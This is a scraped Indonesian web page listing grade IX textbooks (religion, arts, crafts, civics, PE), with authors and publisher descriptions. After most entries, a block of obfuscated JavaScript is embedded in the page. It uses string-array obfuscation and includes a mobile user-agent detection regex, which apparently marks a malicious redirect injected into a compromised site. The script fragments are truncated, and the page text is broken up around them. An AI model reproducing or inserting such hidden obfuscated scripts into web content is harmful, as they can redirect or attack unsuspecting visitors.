Kelas IX (9)

Buku Panduan Guru Pendidikan Agama Kristen dan Budi Pekerti untuk Kelas VIII SMP

Christina Metallica Samosir

<p>Kemajuan dan kesejahteraan lahir batin seseorang termasuk suatu bangsa, salah satunya ditentukan sejauhmana kualitas pendidikannya. Untuk itulah Pemerintah Republik Indonesia bersama berbagai elemen masyarakat dan elemen pemerintah, dalam hal ini Kementerian Agama bersama Pusat Kurikulum dan Perbukuan, Badan Penelitian dan Pengembangan dan Perbukuan, Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi (sesuai tugas, fungsi, dan kewenangannya) menyelenggarakan kerja sama mengembangkan dan menyederhanakan capaian pembelajaran kurikulum serta menyusun buku teks utama Mata Pelajaran Pendidikan Agama Kristen dan Budi Pekerti pegangan siswa dan guru kelas 1 s.d 12 pada satuan pendidikan dasar dan menengah, yang tertuang dalam Perjanjian Kerja Sama Nomor: 58/IX/PKS/2020 dan Nomor: B-385/DJ.IV/PP.00.11/09/2020 tentang Penyusunan Buku Teks Utama Pendidikan Agama Kristen<br></p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function 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Buku Siswa - Seni Budaya SMP Kelas IX

Milasari, Heru Subagio, ...

<p style="margin-bottom: 1rem; color: rgb(33, 37, 41); font-family: &quot;Open Sans&quot;, -apple-system, BlinkMacSystemFont, &quot;Segoe UI&quot;, Roboto, &quot;Helvetica Neue&quot;, Arial, &quot;Noto Sans&quot;, sans-serif, &quot;Apple Color Emoji&quot;, &quot;Segoe UI Emoji&quot;, &quot;Segoe UI Symbol&quot;, &quot;Noto Color Emoji&quot;; font-size: 14px;">Seni Budaya untuk Kelas IX SMP/MTs yang disajikan dalam buku ini juga tunduk pada ketentuan tersebut. Seni Budaya bukan aktivitas dan materi pembelajaran yang dirancang hanya untuk mengasah kompetensi keterampilan siswa sebagaimana dirumuskan selama ini. Seni Budaya harus mencakup aktivitas dan materi pembelajaran yang memberikan kompetensi pengetahuan tentang karya seni budaya dan kompetensi sikap yang terkait dengan seni budaya. Seni Budaya dalam Kurikulum 2013 dirumuskan untuk mencakup sekaligus studi karya seni budaya untuk mengasah kompetensi pengetahuan, baik dari karya maupun nilai yang terkandung di dalamnya, praktik berkarya seni budaya untuk mengasah kompetensi keterampilan, dan pembentukan sikap apresiasi terhadap seni budaya sebagai hasil akhir dari studi dan praktik karya seni budaya.</p><p style="margin-bottom: 1rem; color: rgb(33, 37, 41); font-family: &quot;Open Sans&quot;, -apple-system, BlinkMacSystemFont, &quot;Segoe UI&quot;, Roboto, &quot;Helvetica Neue&quot;, Arial, &quot;Noto Sans&quot;, sans-serif, &quot;Apple Color Emoji&quot;, &quot;Segoe UI Emoji&quot;, &quot;Segoe UI Symbol&quot;, &quot;Noto Color Emoji&quot;; font-size: 14px;">Pembelajarannya dirancang berbasis aktivitas dalam sejumlah ranah seni budaya, yaitu seni rupa, tari, musik, dan teater yang diangkat dari tema-tema seni yang merupakan warisan budaya bangsa. Selain itu juga mencakup kajian warisan budaya yang bukan berbentuk praktik karya seni budaya. Aktivitasaktivitas tersebut tidak hanya terkait dengan studi dan praktik karya seni budaya, melainkan juga melalui pelibatan aktif tiap siswa dalam kegiatan seni budaya yang diselenggarakan oleh kelas maupun sekolah. Sebagai mata pelajaran yang mengandung unsur muatan lokal, tambahan materi yang digali dari kearifan lokal dan relevan sangat diharapkan untuk ditambahkan sebagai pengayaan dari buku ini.</p><p style="margin-bottom: 1rem; color: rgb(33, 37, 41); font-family: &quot;Open Sans&quot;, -apple-system, BlinkMacSystemFont, &quot;Segoe UI&quot;, Roboto, &quot;Helvetica Neue&quot;, Arial, &quot;Noto Sans&quot;, sans-serif, &quot;Apple Color Emoji&quot;, &quot;Segoe UI Emoji&quot;, &quot;Segoe UI Symbol&quot;, &quot;Noto Color Emoji&quot;; font-size: 14px;">Sesuai dengan konsep Kurikulum 2013, buku ini disusun dengan mengacu pada pembelajaran Seni Budaya secara terpadu dan utuh. Keterpaduan dan keutuhan tersebut diwujudkan dalam setiap pengetahuan yang diajarkan, pembelajarannya harus dilanjutkan sampai siswa terampil dalam menyajikan pengetahuan yang dikuasainya secara konkret dan abstrak dalam bentuk atau terkait dengan karya seni budaya, dan bersikap sebagai manusia dengan rasa penghargaan yang tinggi terhadap karya-karya seni warisan budaya dan warisan budaya bentuk lainnya.</p><p style="margin-bottom: 1rem; color: rgb(33, 37, 41); font-family: &quot;Open Sans&quot;, -apple-system, BlinkMacSystemFont, &quot;Segoe UI&quot;, Roboto, &quot;Helvetica Neue&quot;, Arial, &quot;Noto Sans&quot;, sans-serif, &quot;Apple Color Emoji&quot;, &quot;Segoe UI Emoji&quot;, &quot;Segoe UI Symbol&quot;, &quot;Noto Color Emoji&quot;; font-size: 14px;">Buku ini menjabarkan usaha minimal yang harus dilakukan siswa untuk mencapai kompetensi yang diharapkan. Sesuai dengan pendekatan yang digunakan dalam Kurikulum 2013, siswa diajak untuk berani mencari sumber belajar lain yang tersedia dan terbentang luas di sekitarnya. Peran guru dalam meningkatkan dan menyesuaikan daya serap siswa dengan ketersediaan kegiatan pada buku ini sangat penting. Guru dapat memperkayanya dengan kreasi dalam bentuk kegiatan-kegiatan lain yang sesuai dan relevan yang bersumber dari lingkungan sosial dan alam.</p><p style="margin-bottom: 1rem; color: rgb(33, 37, 41); font-family: &quot;Open Sans&quot;, -apple-system, BlinkMacSystemFont, &quot;Segoe UI&quot;, Roboto, &quot;Helvetica Neue&quot;, Arial, &quot;Noto Sans&quot;, sans-serif, &quot;Apple Color Emoji&quot;, &quot;Segoe UI Emoji&quot;, &quot;Segoe UI Symbol&quot;, &quot;Noto Color Emoji&quot;; font-size: 14px;">Sebagai edisi pertama, buku ini sangat terbuka terhadap masukan dan akan terus diperbaiki dan disempurnakan. Untuk itu, kami mengundang para pem baca untuk memberikan kritik, saran, dan masukan guna perbaikan dan penyem purnaan edisi berikutnya. Atas kontribusi tersebut, kami ucapkan terima kasih. Mudah-mudahan kita dapat memberikan yang terbaik bagi kemajuan dunia pendidikan dalam rangka mempersiapkan generasi seratus tahun Indonesia Merdeka</p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Buku Siswa - Prakarya Dan Kewirausahaan SMP Kelas IX Semester II

Dewi Sri Handayani Nuswantari, Sukri Faroki, ...

<p style="margin-bottom: 1rem; color: rgb(33, 37, 41); font-family: &quot;Open Sans&quot;, -apple-system, BlinkMacSystemFont, &quot;Segoe UI&quot;, Roboto, &quot;Helvetica Neue&quot;, Arial, &quot;Noto Sans&quot;, sans-serif, &quot;Apple Color Emoji&quot;, &quot;Segoe UI Emoji&quot;, &quot;Segoe UI Symbol&quot;, &quot;Noto Color Emoji&quot;; font-size: 14px;">Ruang lingkup mata pelajaran prakarya untuk SMP kelas IX meliputi empat aspek, yaitu Kerajinan, Rekayasa, Budi Daya, dan Pengolahan. Dimana dari ke empat aspek itu para siswa diharapkan mampu untuk membuat produk dengan memanfaatkan potensi dari alam sekitar. Buku Prakarya kelas VII ini merupakan edisi revisi yang disusun dengan mengacu kepada kurikulum 2013 yang telah disempurnakan, baik kompetensi inti maupun kompetensi dasar. Untuk membantu siswa memahami materi Prakarya pada setiap pembahasan disertai dengan gambar dan penugasan yang mengajak siswa untuk aktif bereksplorasi dengan lingkungannya maupun media belajar lainnya.</p><p style="margin-bottom: 1rem; color: rgb(33, 37, 41); font-family: &quot;Open Sans&quot;, -apple-system, BlinkMacSystemFont, &quot;Segoe UI&quot;, Roboto, &quot;Helvetica Neue&quot;, Arial, &quot;Noto Sans&quot;, sans-serif, &quot;Apple Color Emoji&quot;, &quot;Segoe UI Emoji&quot;, &quot;Segoe UI Symbol&quot;, &quot;Noto Color Emoji&quot;; font-size: 14px;">Harapan penulis buku ini dapat memotivasi siswa untuk lebih kreatif dan inovatif dalam memecahkan masalah praktis dengan memanfaatkan potensi sumber daya alam yang ada di daerah masing-masing. Penulis juga berharap buku ini dapat memberikan sumbangsih dalam upaya meningkatkan kualitas hasil belajar siswa serta turut melestarikan kerajinan, budaya, dan teknologi bangsa Indonesia.</p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Buku Siswa - Prakarya Dan Kewirausahaan SMP Kelas IX Semester I

Dewi Sri Handayani Nuswantari, Sukri Faroki, ...

<p style="margin-bottom: 1rem; color: rgb(33, 37, 41); font-family: &quot;Open Sans&quot;, -apple-system, BlinkMacSystemFont, &quot;Segoe UI&quot;, Roboto, &quot;Helvetica Neue&quot;, Arial, &quot;Noto Sans&quot;, sans-serif, &quot;Apple Color Emoji&quot;, &quot;Segoe UI Emoji&quot;, &quot;Segoe UI Symbol&quot;, &quot;Noto Color Emoji&quot;; font-size: 14px;">Ruang lingkup mata pelajaran prakarya untuk SMP kelas IX meliputi empat aspek, yaitu Kerajinan, Rekayasa, Budi Daya, dan Pengolahan. Dimana dari ke empat aspek itu para siswa diharapkan mampu untuk membuat produk dengan memanfaatkan potensi dari alam sekitar. Buku Prakarya kelas VII ini merupakan edisi revisi yang disusun dengan mengacu kepada kurikulum 2013 yang telah disempurnakan, baik kompetensi inti maupun kompetensi dasar. Untuk membantu siswa memahami materi Prakarya pada setiap pembahasan disertai dengan gambar dan penugasan yang mengajak siswa untuk aktif bereksplorasi dengan lingkungannya maupun media belajar lainnya.</p><p style="margin-bottom: 1rem; color: rgb(33, 37, 41); font-family: &quot;Open Sans&quot;, -apple-system, BlinkMacSystemFont, &quot;Segoe UI&quot;, Roboto, &quot;Helvetica Neue&quot;, Arial, &quot;Noto Sans&quot;, sans-serif, &quot;Apple Color Emoji&quot;, &quot;Segoe UI Emoji&quot;, &quot;Segoe UI Symbol&quot;, &quot;Noto Color Emoji&quot;; font-size: 14px;">Harapan penulis buku ini dapat memotivasi siswa untuk lebih kreatif dan inovatif dalam memecahkan masalah praktis dengan memanfaatkan potensi sumber daya alam yang ada di daerah masing-masing. Penulis juga berharap buku ini dapat memberikan sumbangsih dalam upaya meningkatkan kualitas hasil belajar siswa serta turut melestarikan kerajinan, budaya, dan teknologi bangsa Indonesia.</p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Buku Siswa - Pendidikan Pancasila dan Kewarganegaraan SMP Kelas IX

Ai Tin Sumartini, Asep Sutisna Putra

<p style="margin-bottom: 1rem; color: rgb(33, 37, 41); font-family: &quot;Open Sans&quot;, -apple-system, BlinkMacSystemFont, &quot;Segoe UI&quot;, Roboto, &quot;Helvetica Neue&quot;, Arial, &quot;Noto Sans&quot;, sans-serif, &quot;Apple Color Emoji&quot;, &quot;Segoe UI Emoji&quot;, &quot;Segoe UI Symbol&quot;, &quot;Noto Color Emoji&quot;; font-size: 14px;">Pendidikan Pancasila dan Kewarganegaraan sebagai mata pelajaran dimaksudkan untuk membentuk peserta didik menjadi manusia yang memiliki rasa kebangsaan dan cinta tanah air dalam konteks nilai dan moral Pancasila, kesadaran berkonstitusi Undang–Undang Dasar Negara Republik Indonesia 1945, nilai dan semangat Bhinneka Tunggal Ika, serta komitmen Negara Kesatuan Republik Indonesia.</p><p style="margin-bottom: 1rem; color: rgb(33, 37, 41); font-family: &quot;Open Sans&quot;, -apple-system, BlinkMacSystemFont, &quot;Segoe UI&quot;, Roboto, &quot;Helvetica Neue&quot;, Arial, &quot;Noto Sans&quot;, sans-serif, &quot;Apple Color Emoji&quot;, &quot;Segoe UI Emoji&quot;, &quot;Segoe UI Symbol&quot;, &quot;Noto Color Emoji&quot;; font-size: 14px;">Dalam kurikulum 2013 pembelajaran difokuskan pada pencapaian tiga tingkat kompetensi, yaitu pengetahuan, keterampilan, dan sikap yang dibelajarkan secara utuh. Pada mata pelajaran PPKn, pengembangan kompetensi tersebut meliputi seluruh dimensi kewarganegaraan, yakni: (1) sikap kewarganegaraan termasuk keteguhan, komitmen dan tanggung jawab kewarganegaraan (civic confidence, civic committment, and civic responsibility); (2) pengetahuan kewarganegaraan; (3) keterampilan kewarganegaraan termasuk kecakapan dan partisipasi kewarganegaraan (civic competence and civic responsibility). Pembahasannya dilakukan secara utuh meliputi Pancasila, UUD Negara Republik Indonesia Tahun 1945, Negara Kesatuan Republik Indonesia, dan Bhinneka Tunggal Ika.</p><p style="margin-bottom: 1rem; color: rgb(33, 37, 41); font-family: &quot;Open Sans&quot;, -apple-system, BlinkMacSystemFont, &quot;Segoe UI&quot;, Roboto, &quot;Helvetica Neue&quot;, Arial, &quot;Noto Sans&quot;, sans-serif, &quot;Apple Color Emoji&quot;, &quot;Segoe UI Emoji&quot;, &quot;Segoe UI Symbol&quot;, &quot;Noto Color Emoji&quot;; font-size: 14px;">Pembelajaran Pendidikan Pancasila dan Kewarganegaraan dirancang berbasis aktivitas, dikaitkan dengan sejumlah tema kewarganegaraan, yang diharapkan dapat mendorong peserta didik menjadi warga negara yang baik, melalui kepeduliannya terhadap permasalahan dan tantangan yang dihadapi masyarakat sekitarnya. Kepedulian tersebut, ditunjukkan dalam bentuk partisipasi aktif dalam pengembangan komunitas yang terkait dengan dirinya. Kompetensi yang dihasilkan bukan lagi terbatas pada kajian pengetahuan dan keterampilan penyajian hasil kajiannya dalam bentuk karya tulis, tetapi lebih ditekankan kepada pembentukan sikap dan tindakan nyata yang harus mampu dilakukan oleh tiap peserta didik. Dengan demikian akan terbentuk sikap yang cinta dan bangga sebagai bangsa Indonesia.</p><p style="margin-bottom: 1rem; color: rgb(33, 37, 41); font-family: &quot;Open Sans&quot;, -apple-system, BlinkMacSystemFont, &quot;Segoe UI&quot;, Roboto, &quot;Helvetica Neue&quot;, Arial, &quot;Noto Sans&quot;, sans-serif, &quot;Apple Color Emoji&quot;, &quot;Segoe UI Emoji&quot;, &quot;Segoe UI Symbol&quot;, &quot;Noto Color Emoji&quot;; font-size: 14px;">Buku ini merupakan panduan minimal bagi guru dalam membelajarkan peserta didik melalui pendekatan scientific dengan model pembelajaran Discovery Learning (DL), Problem Based Learning (PBL), dan Project Based Learning (PjBL). Di samping itu disajikan pula implementasi model-model pembelajaran alternatif bagi mata pelajaran Pendidikan Pancasila dan Kewarganegaraan, sehingga pembelajaran yang disajikan dapat lebih bermakna. Guru dituntut untuk berani mengembangkan pembelajaran melalui kreasi dan inovasi model-model pembelajaran yang ada sesuai dengan karakteristik mata pelajaran PPKn dalam bentuk kegiatan-kegiatan lain yang sesuai dan relevan bersumber pada lingkungan sosial dan alam sekitarnya.</p><p style="margin-bottom: 1rem; color: rgb(33, 37, 41); font-family: &quot;Open Sans&quot;, -apple-system, BlinkMacSystemFont, &quot;Segoe UI&quot;, Roboto, &quot;Helvetica Neue&quot;, Arial, &quot;Noto Sans&quot;, sans-serif, &quot;Apple Color Emoji&quot;, &quot;Segoe UI Emoji&quot;, &quot;Segoe UI Symbol&quot;, &quot;Noto Color Emoji&quot;; font-size: 14px;">Buku edisi revisi ini merupakan penyempurnaan dari buku sebelumnya sebagai implikasi dari terbitnya kurikulum 2013 yang telah disempurnakan, meskipun demikian buku ini masih perlu adanya perbaikan dan penyempurnaan. Untuk itu kami mengundang pembaca untuk dapat memberikan masukan, saran, dan perbaikan yang membangun dalam penyempurnaan buku ini dimasa yang akan datang.</p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Buku Siswa - Pendidikan Jasmani, Olahraga dan Kesehatan SMP Kelas IX

<p style="margin-bottom: 1rem; color: rgb(33, 37, 41); font-family: &quot;Open Sans&quot;, -apple-system, BlinkMacSystemFont, &quot;Segoe UI&quot;, Roboto, &quot;Helvetica Neue&quot;, Arial, &quot;Noto Sans&quot;, sans-serif, &quot;Apple Color Emoji&quot;, &quot;Segoe UI Emoji&quot;, &quot;Segoe UI Symbol&quot;, &quot;Noto Color Emoji&quot;; font-size: 14px;">Buku ini menjabarkan usaha minimal yang harus dilakukan siswa untuk mencapai kompetensi yang diharapkan. Sesuai dengan pendekatan yang digunakan dalam Kurikulum 2013, siswa diajak menjadi berani untuk mencari sumber belajar lain yang tersedia dan terbentang luas di sekitarnya. Peran guru dalam meningkatkan dan menyesuaikan daya serap siswa dengan ketersediaan kegiatan pada buku ini sangat penting. Guru dapat memperkayanya dengan kreasi dalam bentuk kegiatan-kegiatan lain yang sesuai dan relevan yang bersumber dari lingkungan sosial dan alam.</p><p style="margin-bottom: 1rem; color: rgb(33, 37, 41); font-family: &quot;Open Sans&quot;, -apple-system, BlinkMacSystemFont, &quot;Segoe UI&quot;, Roboto, &quot;Helvetica Neue&quot;, Arial, &quot;Noto Sans&quot;, sans-serif, &quot;Apple Color Emoji&quot;, &quot;Segoe UI Emoji&quot;, &quot;Segoe UI Symbol&quot;, &quot;Noto Color Emoji&quot;; font-size: 14px;">Buku ini merupakan edisi ke-2 sebagai penyempurnaan edisi ke-1. Buku ini sangat terbuka dan perlu terus dilakukan perbaikan dan penyempurnaan. Untuk itu, kami mengundang para pembaca memberikan kritik, saran, dan masukan untuk perbaikan dan penyempurnaan pada edisi berikutnya. Atas kontribusi tersebut, kami ucapkan terima kasih. Mudah-mudahan kita dapat memberikan yang terbaik bagi kemajuan dunia pendidikan dalam rangka mempersiapkan generasi seratus tahun Indonesia Merdeka.</p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( 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Buku Siswa - Pendidikan Agama Kristen dan Budi Pekerti SMP Kelas IX

Stephen Suleeman, Dien Sumiyatiningsih

<p style="margin-bottom: 1rem; color: rgb(33, 37, 41); font-family: &quot;Open Sans&quot;, -apple-system, BlinkMacSystemFont, &quot;Segoe UI&quot;, Roboto, &quot;Helvetica Neue&quot;, Arial, &quot;Noto Sans&quot;, sans-serif, &quot;Apple Color Emoji&quot;, &quot;Segoe UI Emoji&quot;, &quot;Segoe UI Symbol&quot;, &quot;Noto Color Emoji&quot;; font-size: 14px;">Buku Pendidikan Agama Kristen dan Budi Pekerti Kelas IX ini ditulis dengan mendasarkan pembelajaran pada rumusan kompetensi yang mencakup ranah sikap, keterampilan dan pengetahuan. Untuk mencapai tujuan tersebut ditegaskan, supaya ranah pengetahuan digunakan untuk mengembangkan sikap spiritual agar menjadi remaja yang beriman, dan sikap sosial agar menjadi remaja dengan akhlak mulia.</p><p style="margin-bottom: 1rem; color: rgb(33, 37, 41); font-family: &quot;Open Sans&quot;, -apple-system, BlinkMacSystemFont, &quot;Segoe UI&quot;, Roboto, &quot;Helvetica Neue&quot;, Arial, &quot;Noto Sans&quot;, sans-serif, &quot;Apple Color Emoji&quot;, &quot;Segoe UI Emoji&quot;, &quot;Segoe UI Symbol&quot;, &quot;Noto Color Emoji&quot;; font-size: 14px;">Pendekatan yang digunakan untuk mencapai kompetensi yang ditetapkan adalah menggunakan Kurikulum 2013, dimana siswa didorong untuk mencari sumber belajar lain yang lebih variatif dan kaya yang tersedia secara luas disekitarnya. Hasil secara maksimal pemakaian buku ini sesungguhnya sangat tergantung dari kerjasama berbagai pihak. Dalam konteks ini peran guru sangatlah penting untuk meningkatkan dan menyesuaikan daya serap siswa dengan ketersediaan kegiatankegiatan yang relevan pada buku ini. Untuk itu dukungan nyata kepala sekolah dan para pengawas sangat dibutuhkan. Orang tua juga perlu terlibat dalam pemaian buku ini, karena banyak waktu siswa dialokasikan di rumah. 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Buku Siswa - Pendidikan Agama Khonghucu dan Budi Pekerti SMP Kelas IX

Hartono Hutomo, Sugiandi Surya Atmaja

<p>Pembelajaran agama diharapkan tak hanya menambah wawasan keberagamaan, tapi juga mengasah ”keterampilan beragama” dan mewujudkan sikap beragama peserta didik. Tentu saja sikap, beragama yang utuh dan berimbang, mencakup hubungan manusia dengan sang Pencipta dan hubungan manusia dengan sesama dan lingkungan sekitarnya. Untuk itu, pendidikan agama perlu diberi penekanan khusus terkait dengan pembentukan budi pekerti yang luhur, antara lain: kesantunan dalam berinteraksi, kejujuran, kasih sayang, kebersihan, kedisiplinan, intelektual, kreativitas dan lain-lain.</p><p>Sekedar contoh, di antara nilai budi pekerti dalam ajaran Agama Khonghucu antara lain dikenal dengan Wu Chang (lima sifat kebajikan), Wu Lun (lima hubungan sosial), dan Ba De (delapan kebajikan). Mengenai cinta kasih, Kongzi menegaskan bahwa siapa dapat memasukkan lima hal ke dalam kebiasaan di mana pun di bawah langit akan menjadi orang yang berbudi luhur. Saat ditanya apa saja kelima hal tersebut, ia menjawab, ”Hormat, lapang hati, dapat dipercaya, cekatan, dan bermurah hati.” Bila kamu berlaku hormat, niscaya tidak terhina, bila kamu lapang hati, niscaya mendapat simpati umum, yang dapat dipercaya, niscaya mendapat kepercayaan, yang cekatan, niscaya berhasil pekerjaannya, dan bila yang bermurah hati, niscaya diturut perintahnya.” (Lunyu XVIII:6)</p><p>Buku Pendidikan Agama Khonghucu dan Budi Pekerti Kelas IX ditulis dengan semangat itu. Pembelajarannya dibagi dalam kegiatankegiatan keagamaan yang harus dilakukan peserta didik dalam usaha memahami pengetahuan agamanya dan diaktualisasikan dalam tindakan nyata dan sikap keseharian. Dalam artian, bahwa buku ini bukan satu-satunya sumber belajar bagi peserta didik.</p><p>Peran guru sangat penting untuk meningkatkan dan menyesuaikan daya serap peserta didik dengan ketersediaan kegiatan yang ada pada buku ini. Penyesuaian ini antara lain dengan membuka kesempatan luas bagi guru untuk berkreasi dan memperkayanya dengan kegiatankegiatan lain yang sesuai dan relevan, yang bersumber dari lingkungan alam, sosial, dan budaya sekitar.</p><p>Buku ini sangat terbuka untuk terus dilakukan perbaikan dan penyempurnaan. Oleh karena itu, kami mengundang para pembaca memberikan kritik, saran dan masukan untuk perbaikan dan penyempurnaan pada buku ini. Atas kontribusi tersebut, kami ucapkan terima kasih. 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Buku Siswa - Pendidikan Agama Katolik dan Budi Pekerti SMP Kelas IX

Lorensius Atrik Wibawa, Yohan Sulisdwiyanta

<p>Pembelajaran agama diharapkan mampu menambah wawasan keagamaan, mengasah keterampilan beragama dan mewujudkan sikap beragama peserta didik yang utuh dan berimbang yang mencakup hubungan manusia dengan Penciptanya, sesama manusia dan manusia dengan lingkungannya. Untuk itu pendidikan agama perlu diberi penekanan khusus terkait dengan penanaman karakter dalam pembentukan budi pekerti yang luhur. Karakter yang ingin kita tanamkan antara lain: kejujuran, kedisiplinan, cinta kebersihan, cinta kasih, semangat berbagi, optimisme, cinta tanah air, kepenasaran intelektual, dan kreativitas.</p><p>Buku pelajaran Pendidikan Agama Katolik dan Budi Pekerti ini pembelajarannya dibagi-bagi dalam kegiatan-kegiatan yang harus dilakukan siswa dalam usaha memahami pengetahuan agamanya. Akan tetapi pengetahuan agama bukanlah hasil akhir yang dituju. Pemahaman tersebut harus diaktualisasikan dalam tindakan nyata dan sikap keseharian yang sesuai dengan tuntunan agamanya, baik dalam bentuk ibadah ritual maupun ibadah sosial. Untuk itu, sebagai buku agama yang mengacu pada kurikulum berbasis kompetensi, rencana pembelajarannya dinyatakan dalam bentuk aktivitas-aktivitas. Di dalamnya dirancang urutan pembelajaran yang dinyatakan dalam kegiatan-kegiatan keagamaan yang harus dilakukan siswa. Dengan demikian, buku ini menuntun apa yang harus dilakukan siswa bersama guru untuk memahami dan menjalankan ajaran iman katolik.</p><p>Buku ini bukanlah satu-satunya sumber belajar bagi siswa. Sesuai dengan pendekatan yang dipergunakan dalam Kurikulum 2013, siswa didorong untuk mempelajari agamanya melalui pengamatan terhadap sumber belajar yang tersedia dan terbentang luas di sekitarnya. Lebihlebih untuk usia remaja perlu ditantang untuk kritis sekaligus peka dalam menyikapi fenomena alam, sosial, dan seni budaya.</p><p>Peran guru sangat penting untuk menyesuaikan daya serap siswa dengan ketersediaan kegiatan yang ada pada buku ini. Penyesuaian ini antara lain dengan membuka kesempatan luas bagi kreativitas guru untuk memperkayanya dengan kegiatan-kegiatan lain yang sesuai dan relevan dengan tempat di mana buku ini diajarkan, baik belajar melalui sumber tertulis maupun belajar langsung dari sumber lingkungan sosial dan alam sekitar.</p><p>Komisi Kateketik Konferensi Waligereja Indonesia sebagai lembaga yang bertanggungjawab atas ajaran iman Katolik berterima kasih kepada pemerintah, dalam hal ini Kementerian Pendidikan dan Kebudayaan atas kerja sama yang baik selama ini mulai dari proses penyusunan kurikulum hingga penulisan buku teks pelajaran ini.</p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Buku Siswa - Pendidikan Agama Islam dan Budi Pekerti SMP Kelas IX

Muhammad Ahsan, Sumiyati

<p>Misi utama pengutusan Nabi Muhammad saw. adalah untuk menyempurnakan keluhuran akhlak. Sejalan dengan itu, dijelaskan dalam al-Qur’±n bahwa Beliau diutus hanyalah untuk menebarkan kasih sayang kepada semesta alam. Dalam struktur ajaran Islam, pendidikan akhlak adalah yang terpenting. Penguatan akidah adalah dasar. Sementara, ibadah adalah sarana, sedangkan tujuan akhirnya adalah pengembangan akhlak mulia. Sehubungan dengan itu, Nabi Muhammad saw., bersabda, “Mukmin yang paling sempurna imannya adalah yang paling baik akhlaknya”*1 dan “Orang yang paling baik Islamnya adalah yang paling baik akhlaknya”.*2 Dengan kata lain, hanya akhlak mulia yang dipenuhi dengan sifat kasih sayang sajalah yang dapat menjadi bukti kekuatan akidah dan kebaikan ibadah. Sejalan dengan itu, Pendidikan Agama Islam dan Budi Pekerti diorientasikan pada pembentukan akhlak yang mulia, penuh kasih sayang, kepada segenap unsur alam semesta.</p><p>Hal tersebut selaras dengan Kurikulum 2013 yang dirancang untuk mengembangkan kompetensi yang utuh antara pengetahuan, keterampilan, dan sikap. Selain itu, siswa tidak hanya diharapkan bertambah pengetahuan dan wawasannya, tapi juga meningkat kecakapan dan keterampilannya serta semakin mulia karakter dan kepribadiannya atau yang berbudi pekerti luhur.</p><p>Buku Pendidikan Agama Islam dan Budi Pekerti Kelas IX ini ditulis dengan semangat itu. Pembelajarannya dibagi ke dalam beberapa kegiatan keagamaan yang harus dilakukan siswa dalam usaha memahami pengetahuan agamanya dan mengaktualisasikannya dalam tindakan nyata dan sikap keseharian yang sesuai dengan tuntunan agamanya, baik dalam bentuk ibadah ritual maupun ibadah sosial.</p><p>Peran guru sangat penting untuk meningkatkan dan menyesuaikan daya serap siswa dengan ketersediaan kegiatan yang ada pada buku ini. Guru dapat memperkayanya dengan kreasi dalam bentuk kegiatan-kegiatan lain yang bersumber dari lingkungan alam, sosial, dan budaya sekitar.</p><p>Buku ini sangat terbuka terhadap masukan dan akan terus diperbaiki untuk penyempurnaan. Oleh karena itu, kami mengundang para pembaca untuk memberikan kritik, saran dan masukan guna perbaikan dan penyempurnaan edisi berikutnya. Atas kontribusi tersebut, kami mengucapkan terima kasih. Mudahmudahan kita dapat memberikan yang terbaik bagi kemajuan dunia pendidikan dalam rangka mempersiapkan generasi seratus tahun Indonesia Merdeka (2045).</p> <script>function 